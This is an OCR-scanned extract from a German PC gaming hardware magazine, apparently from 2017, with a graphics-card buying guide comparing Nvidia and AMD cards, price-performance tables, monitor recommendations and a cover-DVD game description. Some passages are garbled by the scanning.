Foren-Account, der mit wenigen Mausklicks eingerichtet ist. 


Wen a ү SS ov o de 

; HDR-Displays: Manuel Christa zeigt 
den Unterschied zwischen HDR und SDR 
am Beispiel von Shadow Warrior 2 im 
Splitscreen-Vergleich. 


Headsets: Philipp Reuther stellt Headsets 

für Spieler im Preisbereich von 60 bis 300 
Ш Euro vor - inklusive des brandneu aufge- 

legten Klassikers Beyerdynamic MMX300. 


Tastatur-Highlights: Frank Stówer 
zeigt die Spezialitäten der interessantes- 
ten Keyboards aus der Marktübersicht in 
diesem Heft. 


Die DVD láuft nicht? Kein Problem! Schicken Sie eine E-Mail mit Ihrer genauen Anschrift (Name, 
Straße, PLZ, Wohnort) und der Ausgabennummer (z. B. Ausgabe 03/2017) unter dem Betreff „РС 
Games Hardware: DVD-Reklamation" an computecQdpv.de. 


genauer wessen In den 


eben. oder auch nicht 


Kommentaren können natürlich auch gerne erkaren, warum Ihnen d 
Die Umfrage a anonym, es werden keine pe'sonenberogenen Daten daserthaft gespeichert. Alle Angaben werden nach 
Auswertung der Umfrage gelöscht 

Wie fanden Sie die folgenden Artkel/CVD-Inhait? 


Thema «Umsetung waren Thema (ed Ich neM A Umsetzung ër mett ul (s. Маре den дже nicht 
gu (s Kommentar) Kommentar) gelesen 


Praxis. Kaufberatung © 

Getanse 

Praxis 100 Grafikkarten © 

Test GTX 1050 (T) ° 


versus RX 460/470 


Test АМО A10.8700 ° 
sowe DX12-APUS. 
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*Eigentlich benötigt Tropico 5 eine DX11-Grafikkarte (ab GTX400/Radeon HD 5000), die Radeon HD Axxx mit DX10.1 ist eine Ausnahme! 


Tropico 5 


In der Rolle des Diktators „El Presidente" regieren Sie einen karibischen 
Inselstaat. Sie beginnen Ihre Dynastie in der Kolonialzeit, durchleben beide 
Weltkriege, meistern die Folgen des Kalten Krieges und landen schließ- 
lich im 21. Jahrhundert. Mehr als 100 verschiedene Gebäude stehen für 
den Ausbau zur Verfügung. Bauen Sie eine Schiffsflotte auf, schlieBen Sie 
Handelsvertráge ab, erforschen Sie neue Technologien und sorgen Sie für 
wachsenden Wohlstand und Luxus auf dem Eiland. Für noch mehr Spiel- 
spaf bietet Tropico 5 neben der Kampagne auch einen Endlos-, sowie einen 
Koop- und Mehrspielermodus für bis zu vier Spieler. 


Installation: 

Für die Installation ist eine Online-Verbindung nótig. Installieren Sie den 
Client von der Heft-DVD und bestátigen danach den Download für die 
Installation des Kalypso-Launchers. Sie benötigen außerdem einen gül- 
tigen Kalypso-Account, den Sie kostenlos anlegen können. Geben Sie im 
Kalypso-Launcher den Schlüssel der Code-Karte (zwischen S. 66 und 67) 


www.pcgameshardware.de 


Code-Karte zwischen S. 66/67! 


Achtung - kein Steam-Key: Code und DVD für 
künftige Neuinstallationen gut aufbewahren! 


ein — ACHTUNG: Bewahren Sie Code und DVD für eine etwaige spätere 
Neuinstallation gut auf. Den 1,48 GByte großen Patch 1.10 und den Gratis 
Map-Pack bietet Ihnen der Launcher zum optionalen Download an. 


Systemvoraussetzungen: 

Minimal: Windows ab Vista SP2, 2GHz-Dualcore-CPU, 4 GiB Arbeitsspei- 
cher, Geforce GTX Axx/Radeon HD 4xxx*, 5,5 GByte HDD 

Empfohlen: Windows 7 (64 
Bit), 2,5-GHz-Quadcore-CPU, 
8 GiB Arbeitsspeicher, Geforce 
5xx oder Radeon HD 5000. 


Karibisches Inselmanagement mit toller 

ER Grafik, einer lebendigen Umgebung und 

= jeder Menge Spielspaß - Tropico 5 bietet 
beste Aufbaustrategieko: 


р с, 
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\ Tergangenen Monat erfuhren 
Sie alles Wissenswerte über 


den Motor eines Computers: die 
CPU. So wichtig der Hauptpro- 
zessor ist, beim Genuss moderner 
PC-Spiele hat die Leistung der Gra- 
fikkarte größere Auswirkungen auf 
die Bildrate und vor allem auf die 
Bildqualität. In diesem Artikel ver- 
mitteln wir die wichtigsten Grund- 
lagen und geben darüber hinaus 
konkrete Empfehlungen. 


Rendering: die Basics 

Beginnen wir mit etwas Theorie 
den Render-Prozess betreffend, da- 
mit Sie Ihren Computer im Verhält- 
nis zu Ihren Spielgewohnheiten 
besser einschätzen können. Grund- 
sätzlich können beim Spielen zwei 
Extreme auftreten: ein Prozessor- 
oder ein Grafikkartenlimit. In der 
Praxis sind die Übergänge fließend, 
absolute Limits herrschen nicht 
vor - zumindest bei ausgewogenen 
PCs und verbreiteten Auflösun- 
gen. Die wichtigste Information 
ist die Aufgabenverteilung: Der 
Hauptprozessor kümmert sich um 
grundlegende Berechnungen und 
befehligt außerdem die Grafik- 
karte. Sein Arbeitsaufkommen ist 


Empfehlungen: Die richtige Grafikkarte für Ihren Bildschirm 


Auflösung Megapixel | Seitenverhältnis | Empfohlener Grafikspeicher | Empfohlene Grafikkarten 

1.680 x 1.050 1,76 16:10 4.096 MiByte Radeon RX 470, Geforce GTX 1050 Ti OC 
1.920 x 1.080 2,07 16:9 4.096 MiByte Radeon RX 470, Geforce GTX 1050 Ti OC 
1.920 x 1.200 2,30 16:10 4.096 MiByte Radeon RX 470, Geforce GTX 1050 Ti OC 
2.560 x 1.080 2,76 21:9 4.096 MiByte Radeon RX 480/4G, Radeon RX 470 OC 
2.560 x 1.440 3,69 16:9 6.144/8.192 MiByte Radeon RX 480/8G, Geforce GTX 1060/6G 
2.560 x 1.600 4,10 16:10 6.144/8.192 MiByte Radeon RX 480/8G, Geforce GTX 1060/6G 
3.440 x 1.440 4,95 21:9 8.192 MiByte Geforce GTX 1070 

3.840 x 1.600 6,14 ~21:9 8.192 MiByte Geforce GTX 1080, Geforce GTX 1070 ОС 
3.840 x 2.160 8,29 16:9 8.192/12.288 MiByte Geforce GTX 1080 ОС, Titan X (Pascal) 
4.096 x 2.160 8,85 (KS 8.192/12.288 MiByte Geforce GTX 1080 ОС, Titan X (Pascal) 
5.120 x 2.880 14,75 16:9 12.288 MiByte Titan X (Pascal) 

Je höher die Auflösung, desto mehr Arbeit für die GPU und desto mehr Daten fallen für die Bildpuffer an. Moderne Spiele belegen davon 
unabhängig viel Speicher für Texturdaten, daher sollte eine Grafikkarte für maximale Details in aktuellen Spielen mindestens 4 GiB besitzen. 


auflösungsunabhängig: Spielwelt, 
künstliche Intelligenz, Physik und 
Soundkulisse erfordern in Full HD 
denselben Arbeitsaufwand wie 
in Ultra HD. Ist die CPU mit ihren 
Aufgaben überfordert, muss die 
Grafikkarte Wartezyklen einschie- 
ben; man spricht dann von einem 
Prozessorlimit. Ein solches tritt 
vor allem bei Spielen auf, die auf- 
wendige Berechnungen erfordern, 
beispielsweise — Echtzeitstrategie-/ 
Aufbauspiele, bei denen unzählige 
Einheiten durch die Gegend wu- 
seln, aber auch Multiplayer-Gefech- 


te im Stil von Battlefield 1, in denen 
Position und Handlungen von bis 
zu 64 Spielern koordiniert werden 
müssen. Im absoluten (und recht 
theoretischen) CPU-Limit lassen 
sich Auflösung, Kantenglättung, 
Texturfilterung und Umgebungs- 
verdeckung beliebig erhöhen, die 
Bildrate bleibt identisch. 


Ist der Prozessor wesentlich leis- 
tungsfähiger als die Grafikkarte, 
wendet sich das Blatt. Läuft das 
Spiel in 1.280 x 720 ohne AA/AF 
wesentlich flüssiger als in 1.920 


x 1.080 mit allen Schmankerln, 
herrscht ein GPU-Limit vor. Ur- 
sächlich dafür ist die pixelbasierte 
Arbeit der Grafikkarte: Je höher die 
Auflösung, desto mehr Bildpunkte 
muss die Grafikkarte fertigstellen. 
Wer in hohen Auflösungen wie 
WOHD oder Ultra HD spielt, benö- 
tigt daher ungleich mehr Grafikleis- 
tung und -speicher als Zocker, die 
vor einem Full-HD-LCD sitzen, und 
kann ein CPU-Limit kaschieren. 


Soweit, so gut. Nun können wir uns 
Radeon und Geforce widmen. 


А А e А 
Preis/Leistung: 20 aktuelle Grafikkarten zwischen rund 100 und 1.360 Euro 
1.400 [1] 1.400 
D Geforce 
1200 | m Radeon 1.200 
1.000 1.000 
e 
5 
2 800 800 
= 
л 
$ 60 D [2] 600 
в 
400 [5] e 400 
200 ФФФ 200 
0 0 
0% 20% 40% 60% 80% 100% 120% 
Normierter PCGH-Leistungsindex іп Prozent 
Grafikkarte Index Preis/ Leistungs- Index Circa-Preis Grafikkarte Index Preis/ Leistungs- Index Circa-Preis 
Leistung index Open CL in Euro Leistung index Open CL in Euro 
AMD Radeon RX 480/4G 100% 46,4% 77,4% 200 AMD Radeon RX 470/8G 76,9% 42,8% 65,7% 240 
AMD Radeon RX 470/4G 94,8% 41,8% 65,7% 190 AMD Radeon RX 460/2G 76,4% 18,6% 36,5% 105 
Nvidia Geforce GTX 1060/3G 89,3% 43,5% 51,8% 210 AMD Radeon R9 290/4G 75,7% 43,9% 81,8% 250 
AMD Radeon RX 480/8G 84,7% 49,1% 77,4% 250 Nvidia Geforce GTX 1070/8G 74,1% 68,8% 68,7% 400 
Nvidia Geforce GTX 1060/6G 82,7% 49,9% 54,0% 260 AMD Radeon R9 380/2G 70,5% 27,8% 53,5% 170 
AMD Radeon R9 380/4G 80,9% 31,9% 53,5% 170 AMD Radeon R9 390/8G 69,8% 48,6% 91,6% 300 
Nvidia Geforce GTX 1050 Ti/4G 80,6% 27,1% 31,9% 145 AMD Radeon R9 Fury X/4G 64,0% 60,9% 100% 410 
Nvidia Geforce GTX 970/3,5+0,5G 79,1% 42,2% 47,7% 230 Nvidia Geforce GTX 1080/8G 60,6% 84,3% 75,1% 600 
Nvidia Geforce GTX 1050/2G 77,6% 21,6% 28,3% 120 Nvidia Geforce GTX 980 Ti/6G 59,7% 63,7% 62,7% 460 
AMD Radeon RX 460/4G 77,2% 21,5% 36,5% 120 Nvidia Titan X (Pascal)/12G 31,7% 100% 84,6% 1360 
Basis: PCGH-Leistungsindex in Relation zum bei Redaktionsschluss aktuellen Marktpreis. Die Zahlen in der ersten Spalte verraten die Platzierung im PCGH-Leistungsindex, die Farbe den GPU-Hersteller (Rot = AMD, Grün = Nvidia). 
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Nvidia Geforce 


Bl uu Systemsteuerung. - а х 
Datei Bearbeiten Desktop ` 20. Eectefungen Hilfe 

Q оё 
wählen Se eine Аоба. 


DEnstehrgen 
Blóerstelungen m Vorscheu агрес E 
und dann Andensngeween für Беніто Programm antet werden Die 


Din deren W-Bnstndingen ki 
Surround, Sr ianfgureren Anderungenate warden m orrotach ba дат Sat Sne tast gegen орлите bereit 
desto 
Meu) Inden Die folgenden 1D-L«telleagen sollen verwendet werden: 


ET At manos 
Geiger Алдо errichten 


Desktop Grüße und Peation anpassen — 
m Furkson ^ 
эбе 
Video urberatelungen anpassen —ÁÓ 
Verte arosssen Anrsslasing = Transperenz 
CUDA - GPUs 


СЕЕ 
nergieverwnltungemodus. Optimale Leistung 

Мазза Anzahl der vorgerenderten nz... Dnran für 2D-Anwendungen verwenden 
Mb Duplay gerechte GPu-aschleungung Mub-Ouplay ил гок Made 

Mn Frame Saegled АА (АРАА) 

Shade cache = 


Bescvebung: 
ЭЖечыйазеч) it ene Тодд zur Vermeidung sogenaneher Treppeneffekte, de bawelen an den Bieden von 3D-Objekten 
fee onen 


[лт 


Nvidias Treiberoberfläche erinnert optisch an Windows XP und wurde mit den Jahren 


immer träger, bietet jedoch unzählige Optionen auf einem Fleck. 


GP102-400-A1 


Kaufen Sie eine Nvidia Geforce, 


wenn Sie ... 


... ein G-Sync-Display nutzen möchten. 

-.. Sich höchstmögliche Leistung wünschen — AMD hat noch kein Pendant zur 
GTX 1070/1080 & Titan X veróffentlicht. 

... Wert auf CUDA (GPU-Physx wie in Mafia 2, Batman: Arkham Knight und 
Borderlands 2) legen. 

... diverse Spiele (u. а. GTA 5, AC Syndicate und Watch Dogs 2) mit dem hoch- 
wertigen TXAA aufwerten móchten. 

... das flexibelste Downsampling (DSR) in allen Spielen nutzen möchten. 

... Zugriff auf AA-/SLI-Bits, versteckte Anti-Aliasing-Modi etc. wünschen 
(benótigt das 3rd-Party-Tool Nvidia Inspector). 

... Sich die Option auf SLI (Multi-GPU) freihalten wollen. 


eit 1999 steht Nvidias Marke 

Geforce für hohe - aber nicht 
immer die hóchste - Grafikleis- 
tung. Mit den Titan-Modellen ha- 
ben die Kalifornier seit 2013 auch 
das Ultra-Hochpreissegment 
folgreich erschlossen. Wer eine 
Nvidia-Grafikkarte kauft, legt 
gewöhnlich Wert auf das dazu- 
gehörende Ökosystem wie die 
Treiberfunktionen, besitzt einen 
G-Sync-Bildschirm oder verwendet 
die proprietäre CUDA-Schnittstelle. 


CT: 


Preis vs. Leistung 

Wie Sie der Preis-Leistungs-Grafik 
auf Seite 2 dieses Artikels bereits 
entnommen haben, bieten aktuelle 
Geforce-Grafikkarten mit Pascal- 
Architektur eine hohe Leistung, im 
Mittel aber nicht das bestmögliche 
Preis-Leistungs-Verhältnis. Nvidia 
ist sich seiner Marktmacht und lo- 
yalen Anhängerschaft bewusst und 
daher nicht auf Kampfpreise ange- 
wiesen - im Gegenteil, die letzten 
Geforce-Generationen waren stets 
teurer als ihre Vorgänger. 


In der Regel sinken die Preise eini- 
ge Monate nach Marktstart, so auch 
bei den High-End-Grafikkarten 
Geforce GTX 1070 und GTX 1080. 
Während Erstere mittlerweile ab 
400 Euro zu haben ist und damit 
ein akzeptables Preis-Leistungs- 
Verhältnis aufweist, haftet der GTX 
1080 nach wie vor der Topmodell- 
Aufschlag an, obwohl sie streng ge- 
nommen keines mehr ist. Die GTX 
1080 kann sich im PCGH-Leistungs- 
index um 25 Prozent von der GTX 
1070 distanzieren, ist jedoch um 50 
Prozent teurer, ohne weitere Vor- 
teile (etwa bei der Speicherkapazi- 
tàt) zu bieten. Beide Grafikkarten 
profitieren von ihrer konkurrenz- 
losen Position: Da AMDs Antwort 
auf den GP104-Chip noch bis zum 
zweiten Quartal auf sich warten 


Empfehlenswerte G-Sync-Monitore 


Hersteller Modell Diagonale/Panel/Auflósung Bildwiederholrate | Circa-Preis Test in ... 
Asus ROG Swift PG348Q 34 Zoll/IPS/3.440 x 1.440 100 Hertz € 1.150,- www.pcgh.de 
Asus ROG Swift PG27AQ 27 Zoll/IPS/3.840 x 2.160 60 Hertz € 850,- www.pcgh.de 
Asus ROG Swift PG279Q 27 Zoll/IPS/2.560 x 1.440 165 Hertz € 830,- PCGH 10/2014 
Dell 52716DG 27 Zoll/TN/2.560 х 1.440 144 Hertz € 580,- www.pcgh.de 
AOC G2460PG 24 Zoll/TN/1.920 x 1.080 144 Hertz € 410,- PCGH 10/2014 
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lässt, führt auf der Suche nach der 
höchsten noch bezahlbaren Leis- 
tung kein Weg an ihnen vorbei. 
„Bezahlbar“ ist ein dehnbarer Be- 
griff. Nvidia testet seit 2013, wie 
dehnbar das Portemonnaie der 
eigenen Kundschaft ist. Die ersten 
Titan-Grafikkarten eröffneten er- 
folgreich das 1.000-Euro-Segment, 
das amtierende Topmodell Titan 
X (Pascal) startete für 1.299 Euro 
- und kostet wegen des schwä- 
chelnden Euro-Kurses seit dem 13. 
Januar sogar 1.359 Euro. Das Preis- 
Leistungs-Verhältnis ist infolgedes- 
sen miserabel, die absolute Leis- 
tung dieses Over-the-top-Modells 
aber konkurrenzlos. 


Suchen Sie Grafikkarten mit mög- 
lichst geringer Leistungsaufnahme 
in jedem Lastszenario, sind Pascal- 
Chips die erste Wahl. 


Ökosystem 

Nvidia setzt im Gegensatz zum Mit- 
bewerber AMD bevorzugt auf pro- 
prietäre Technologien. Neben der 
Cuda-Schnittstelle, mit der sich wie 
bei Open CL Berechnungen abseits 
klassischen Renderings durchfüh- 
ren lassen und zu denen auch GPU- 
Physikbeschleunigung (Physx) 
gehört, treiben die Kalifornier 
ihre Gameworks-Bibliotheken so- 
wie die G-Sync-Technologie voran. 
Hinter Gameworks stecken Code- 
Bausteine, die Spiele-Entwickler in 
ihre Werke implementieren kön- 
nen, beispielsweise für sehenswer- 
ten Wellengang, lebensnahes Haar 
oder hochwertige Kantenglättung. 
Die letztgenannten beiden Funktio- 
nen kennt vermutlich jeder Spieler 
als Hairworks (in The Witcher 3) 
und TXAA (Crysis 3, GTA 5, Watch 
Dogs). Daneben bietet Nvidia 
mit Gameworks VR Entwicklern 
entsprechende Bibliotheken. Das 
„УК ready“-Siegel kennzeichnet 
VR-taugliche Grafikkarten; Nvidia 
empfiehlt neuerdings eine GTX 
1060 und besser (zuvor: GTX 970). 


Wer mit einer Geforce in den Ge- 
nuss einer variablen Bildaktualisie- 
rungsrate kommen möchte, muss 
bei Monitoren einen Aufpreis für 
G-Sync bezahlen, da Nvidia die Un- 
terstützung des konkurrierenden 
Adaptive Sync nicht implementiert. 
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AMD Radeon 


er Markenname Radeon wur- 

de im Jahr 2000 noch unter 
der ATI-Flagge eingeführt (siehe 
History-Artikel in dieser Ausgabe) 
und mauserte sich im Laufe der 
Zeit zur einzigen ernsthaften Ge- 
force-Alternative. 2006 wurden die 
Kanadier von AMD übernommen, 
doch die Marke Radeon hat bis heu- 
te Bestand. Wer sich für eine Ra- 
deon entscheidet, legt gewöhnlich 
Wert auf ein gutes Preis-Leistungs- 
Verhältnis, verwendet ein Free- 
sync-Display und kann die meist 
überdurchschnittliche Rechenleis- 
tung der AMD-GPUs mithilfe von 
Open-CL-Anwendungen nutzen. 


Preis-Leistung 

Die Preis-Leistungs-Grafik auf Sei- 
te 2 dieses Artikels offenbart eine 
Radeon-Dominanz: In den Top 10 
befinden sich sechs Radeon-Model- 
le, darunter die wichtigen Plätze 1 
und 2. Doch auch auf den höheren 
Rängen hat AMD gute Karten, denn 
weder die Geforce GTX 970 noch 
die GTX 1060 3GB können wir be- 
denkenlos empfehlen: Über beiden 
Geforce-Chips schwebt ein Damo- 
klesschwert aufgrund nicht zu- 
kunftssicherer Speicherkapazität. 
Wir raten Spielern beim Neukauf 
grundsätzlich dazu, bei 4 GiByte 
einzusteigen und nach Möglichkeit 
zu einer 8- oder 6-GiByte-Karte zu 
greifen. Diese sind ab circa 250 
Euro in Form der RX 480/8G und 
GTX 1060/6G erhältlich, wobei 
die AMD-Karte dank des größeren 
RAMs den längeren Atem haben 
wird - in der PCGH 10/2016 be- 
gründen wir mithilfe unzähliger 
Analysen diese Aussage. 


So gut RX 470 und RX 480 aus 
Preis-Leistungs-Sicht sind, in den 
übrigen Marktsegmenten gibt Nvi- 
dia den Ton an. Sowohl bei den Ein- 
steiger-Grafikkarten ab 100 Euro als 
auch jenseits von 300 Euro fehlen 
AMD schlagkräftige Argumente. So 
erreichen übertaktete RX-460-Mo- 
delle zwar das Leistungsniveau der 
GTX 1050, ihre Energie-Effizienz ist 
jedoch wesentlich schwächer. Man 
könnte sagen, das falle angesichts 
der geringen Zahlen kaum ins Ge- 
wicht - 50 zu maximal 100 Watt -, 
doch wer eine Low-Cost-Grafikkar- 
te sucht, legt mit Gewissheit Wert 
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auf genau diese Unterschiede, zu- 
mal sich diese direkt auf die Laut- 
heit des Kühlsystems auswirken. 
RX-460-Modelle sind etwas lauter 
als jene mit GTX 1050 (Ti). 


Richtig ist, dass AMD mit der R9 
Fury und Fury X Grafikkarten jen- 
seits von 300 Euro anbietet, auf- 
grund der technischen Limitierung 
auf 4 GiByte Speicher sowie der 
hohen Leistungsaufnahme jenseits 
von 250 Watt sind diese jedoch nur 
eingeschränkt zu empfehlen. Zur 
Orientierung: Die Leistung einer 
R9 Fury ist im Mittel mit einer RX 
480/4G @ 1.350 MHz vergleichbar. 
Eine Fury X ist in WQHD zwischen 
fünf und zehn Prozent schneller, 
hat jedoch in Full HD Auslastungs- 
probleme und kann daher mitunter 
hinter RX-480-Karten fallen. Nach 
wie vor einzigartig ist die Radeon 
R9 Nano: Der HBM-Kampfzwerg 
bringt RX-480-OC-Leistung in 15,3 
Zentimeter Baulänge bei weniger 
als 200 Watt Verbrauch unter. 


Ókosystem 

AMD konzentriert sich im Gegen- 
satz zu Nvidia auf offene Standards. 
Die wichtigste Technologie in 
diesem Kontext ist Adaptive Sync, 
das durch AMD und das Standar- 
disierungsgremium VESA zertifi- 
ziert wurde und von AMD unter 
dem Namen Freesync vermarktet 
wird. Freesync-LCDs sind aufgrund 
fehlender Zusatzkosten (für das 
G-Sync-Board) sowohl günstiger als 
auch zahlreicher am Markt vertre- 
ten als G-Sync-Panele. 


In Sachen Virtual Reality gibt AMD 
mit Liquid VR Entwicklern ein ent- 
sprechendes Toolkit an die Hand. 
Das „VR Premium"-Logo kennzeich- 
net Produkte, die AMD für eine 
flüssige VR-Erfahrung empfiehlt 
(Radeon R9 290 und besser). 


alen Neuaufbau 


'achpufferung 


Shader-Cache Energieeffizienz 


Frame Rate Target Control 


AMDs Treiberoberfläche bietet seit Ende 2015 einen modernen Look, wurde mit der 
Crimson-Relive-Edition just weiter verbessert und ist reaktionsschnell. 


Kaufen Sie eine AMD Radeon, 


wenn Sie ... 


.. ein Freesync-Display nutzen móchten. 

.. die Sparfunktion Zero Core Power im Leerlauf nutzen möchten (wenn der 
Bildschirm abschaltet, tut es auch die Grafikkarte -> Verbrauch unter 5 Watt). 

.. auf die Vorteile der Mantle-API (u. a. in Dragon Age Inquisition und Plants 
versus Zombies: Garden Warfare) aus sind. 

Ds Virtual Super Resolution (VSR) nutzen móchten — funktioniert im Ge- 

satz zu DSR jedoch nicht mit allen Bildschirmen, u. a. 21:9-Support fehlt. 

Rahmen des Treiberlieferumfangs übertakten und Videos/Screenshots 

ellen móchten (Wattman und Relive). 

... Viele DX12-/Vulkan-Titel spielen — AMD-GPUs blühen hier auf (siehe S. 30). 

.. Crossfire X (Multi-GPU) nutzen móchten. 


Empfehlenswerte Freesync-Monitore 


Hersteller Modell Diagonale/Panel/Auflósung Bildwiederholrate | Circa-Preis Test in ... 

LG 34UC79G-B 34 Zoll/IPS/2.560 x 1.080 144 Hertz €670,- www.pcgh.de 
Samsung U28E850R 28 Zoll/TN/3.840 x 2.160 60 Hertz € 500,- PCGH 08/2015 
Asus MG279Q 27 Zoll/IPS/2.560 x 1.440 144 Hertz € 600,- PCGH 08/2015 
LG 27М067-В 27 Zoll/IPS/3.840 x 2.160 60 Hertz € 450,- www.pcgh.de 
Eizo Foris FS2735 27 Zoll/IPS/2.560 x 1.440 144 Hertz € 940,- www.pcgh.de 
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Karten für 200, 400 und 1.359 Euro: Diese Qualitàt gibt's bei 60 Fps 


Eine schnelle Grafikkarte erreicht hóhere Bildraten als eine langsame, das ist bekannt. 
Ein Upgrade der GPU kann jedoch zu einem unausgewogenen Systen führen — wenn 
der Hauptprozessor limitiert, steigt die Bildrate nicht wie erhofft. Doch es gibt Aus- 
wege: Höhere Grafikleistung lässt sich immer in ein hübscheres Bild investieren. Bei 
einem Prozessor funktioniert das nicht, hier lassen sich nicht mal eben eine höhere 
Sichtweite oder eine bessere künstliche Intelligenz (KI) zuschalten. Am effektivsten, 
jedoch mit weiterem Finanzaufwand verbunden, ist der Wechsel auf einen feiner 
auflösenden Bildschirm: Ultra HD oder Ultrawide-QHD (21:9) verpassen jedem Spiel 


{4 Verbesserte Schwalbe 
Ge 4 Verbesserter Donner 
T e A Verbesserter Waldkauz: 
4 L WO Knödel 


100 Stumpfer Armbrüstbolzen 
ww 


RX 470: Full HD, HBAO+, Hairworks aus 
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GTX 1070: WQHD, SSAO, Hairworks an 


einen neuen Anstrich. Doch auch mit demselben LCD sind beachtliche Qualitäts- 
sprünge möglich. Aktivieren Sie in den Grafiktreibern Dynamic Super Resolution (DSR; 
Nvidia) respektive Virtual Super Resolution (VSR; AMD), kónnen Sie in Spielen hóhere 
Pixelmengen berechnen lassen. Das Bild wird vor der Ausgabe heruntergerechnet und 
erstrahlt in neuem Glanz. Im Bildvergleich unten haben wir einen anderen Ansatz 
verfolgt: Drei Grafikkarten — 200, 400 und 1.359 Euro teuer — sollen The Witcher 3 
mit rund 60 Fps und natürlich möglichst sehenswert darstellen. Die Quintessenz: Je 
mehr Geld Sie investieren, desto hübscher erstrahlt CD Projekts Meisterwerk. 


Folge Milton zur Taverne und frag nach; 
ob jemand weiß, wohin die Leiche 
gebracht wurde 


Sprinten 


Springen 


Pferd rufen 


Titan X-P: UHD, SSAO, Hairworks an 
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Kaufberatung und Produktempfehlungen 


er Einsatzzweck bestimmt 

maßgeblich, welche Grafik- 
karten-Preis- und Leistungsklasse 
infrage kommt. Falls Sie an das 
Schreiben von Texten, Youtube und 
gelegentlich eine Runde League 
of Legends denken, genügen sehr 
günstige Grafikkarten oder soge- 
nannte Integrated Graphic Proces- 
sors (IGPs). Letztere sind Bestand- 
teil zahlreicher Notebooks sowie 
Hauptprozessoren, etwa AMDs 
A- und Intels Core-i-Serien (Sockel 
2011 ausgenommen). Da integ- 
rierte Grafikchips unter derselben 
Haube wie die CPUs sitzen und 
den Hauptspeicher als Datenpuffer 
nutzen müssen, ist ihre Leistung 
geringer als bei den meisten Spar- 
Grafikkarten. Die Bildausgabe, 
HD-Videobeschleunigung und ge- 


nügsame Spiele wie Counter-Strike, 
Minecraft und Skyrim laufen mit 
diesen Chips problemlos, sofern 
Sie auf ein paar Grafikdetails ver- 
zichten können. Je größer Ihr Spiel- 
wunsch ist, desto potenter sollte 
auch die eingesetzte Grafikeinheit 
sein - keine IGP stemmt Grafik- 
bomben wie Battlefield 1, Rise of 
the Tomb Raider oder The Witcher 
3 mit allen Details ruckelfrei. Wenn 
Sie außerdem Wert auf hochwertig 
gefilterte Texturen (AF) und Kan- 
tenglättung (AA) legen, steigt der 
Anspruch an die Graphics Proces- 
sing Unit (GPU) nochmals an. 


Monitoranschlüsse 
Aktuelle Grafikkarten verfügen 


über eine Vielzahl von Ausgängen 
zum Betrieb von Monitoren (siehe 


unten). In der Regel wird eine Mi- 
schung aus älteren und modernen 
Standards geboten, einige Gra- 
fikkarten wie AMDs Radeon R9 
Fury X verzichten jedoch bereits 
auf Altlasten und bieten lediglich 
Displayport-Ausgänge. Sicher ist, 
dass die Tage des steinalten, ana- 
logen D-Sub (VGA) gezáhlt sind, 
die aktuellen GPU-Generationen 
von AMD und Nvidia geben ihre 
Signale ausschließlich digital aus. 
Aus diesem Grund geht es auch 
dem VGA-Nachfolger DVI an den 
Kragen. Lange Zeit war DVI-I auf 
allen Grafikkarten zu finden, ein 
Standard, der Bildschirme sowohl 
mit analogen als auch digitalen 
Daten befeuern kann. Die mit den 
Jahren gestiegenen Anforderungen 
riefen neue Ausgänge auf den Plan: 


HDMI und Displayport (DP). Beide 
Standards arbeiten rein digital und 
können neben Bild- auch Tondaten 
übertragen. Wer einen modernen 
PC-Monitor kauft, kommt mittler- 
weile nicht um diese Schnittstellen 
herum, da neue Technologien wie 
erhóhte/dynamische Bildwieder- 
holraten und höhere Auflösungen 
zwingend auf die neuen Übertra- 
gungsstandards angewiesen sind. 
Wer eine Pascal- oder Polaris-Gra- 
fikkarte kauft - das sind die aktu- 
ellen RX-400- und GTX-10-Modelle 
-, erhält damit Zugriff auf HDMI 
2.0b sowie Displayport 1.4. Letzte- 
rer ermöglicht es beispielsweise, 
ein UHD-Display mit 120 Hz anzu- 
steuern oder HDR-Farbtiefe auszu- 
geben. Jetzt fehlt nur noch die Flut 
entsprechender Bildschirme. 


In welcher Auflösung spielen Sie gewöhnlich? 


Wieviel Geld geben Sie für eine Grafikkarte aus? 


1,06 % 
2,16% 
3,07 % 
3,47% 


3,52 % 


0,80 % 


2,39 % 


48,31 % 


W 1.920 х 1.080 .. 
W 2.560 x 1.440 .. 
IB 3.840 x 2.160 .. 
W 1.920 x 1.200 .. 
W 3.440 x 1.440 .. 
E 2.560 x 1.080 .. .3,47% 
= 1.680 x 1.050... .3,07% 
lB Weniger als 1.680х1.050 2,16% 


— 48,31% 
23,30% 
. 6,64% 
‚4,93% 
‚3,52% 


W3 x Full HD....................1,06% 
IB Mehr als UHD (1 LCD).... 0,80% 
E 3 x Ultra HD..................0,20% 
E 3 x WQHD... . 0,1596 
W Sonstiges . 2,3996 


Teilnehmer: 1.987 auf www.pcgh.de 
Bemerkungen: Über die Hälfte 
unserer Leser spielt mit 1.920 Pixelzei- 
len. Unsere Grafikkarten-Benchmarks 
bedienen diese Auflösungen optimal. 


0,72 % 


3,49% | 80301 bis 350 Euro......... 15,88% 


1,51 % 
3,62 % 


15,88 % 


10,85 % 


12,76 % 
11,58 % 


12,46 % 


lB Mehr als 700 Euro. 
B 251 bis 300 Euro... 
E 351 bis 400 Euro ......... 
E 401 bis 500 Euro ......... 
IB 201 bis 250 Euro ......... 
= 601 bis 700 Euro... 
В 501 bis 600 Euro... 
W 151 bis 200 Euro... 
В 101 bis 150 Euro 
Wi Unter 100 Euro.. 
E Sonstiges 


- 3,49% 


Teilnehmer: 3.041 auf www.pcgh.de 
Bemerkungen: PCGH-Leser sind an- 
spruchsvoll, die meisten geben mehr 
als 300 Euro für eine Gaming-Gra- 
fikkarte aus. 


Display-Anschlüsse im Überblick 


Zur Ansteuerung eines modernen Bildschirms kommt man nicht um Displayport und HDMI herum. Doch viele ältere Computer setzen noch auf die Standards DVI-D respektive 


DVI-I und, im Falle echter Museumsstücke, den leuchtend blauen D-Sub. PC Games Hardware erläutert die Vor- und Nachteile eines jeden Standards. 


HDMI stammt aus der Multime- 
dia-Sparte, verbreitete sich aber 
auch am PC. Der Standard kann 
Bild und Ton übertragen, unter- 
liegt Displayport (1.3+) jedoch 

hinsichtlich der max. Datenrate. 


Displayport ist ein relativ junger 
Standard, der seit 2012 auf jeder 
modernen Grafikkarte thront. 
Die aktuelle Version kommt auf 
Pascal- und Polaris-GPUs zum 
Einsatz und erlaubt u. a. HDR. 


D-Sub ist ein Relikt vergangener 
Tagen. Die analoge Schnittstelle 
war von Ende der 1980er-Jah- 
re bis zur Jahrtausendwende 
Standard und kann, wie DVI, nur 
Bilddaten übertragen. 


DVI-I beherrscht neben analoger 
auch die digitale Datenübertra- 
gung. Single-Link-Kabel erreichen 
1.920 x 1.080 Pixel mit 60 
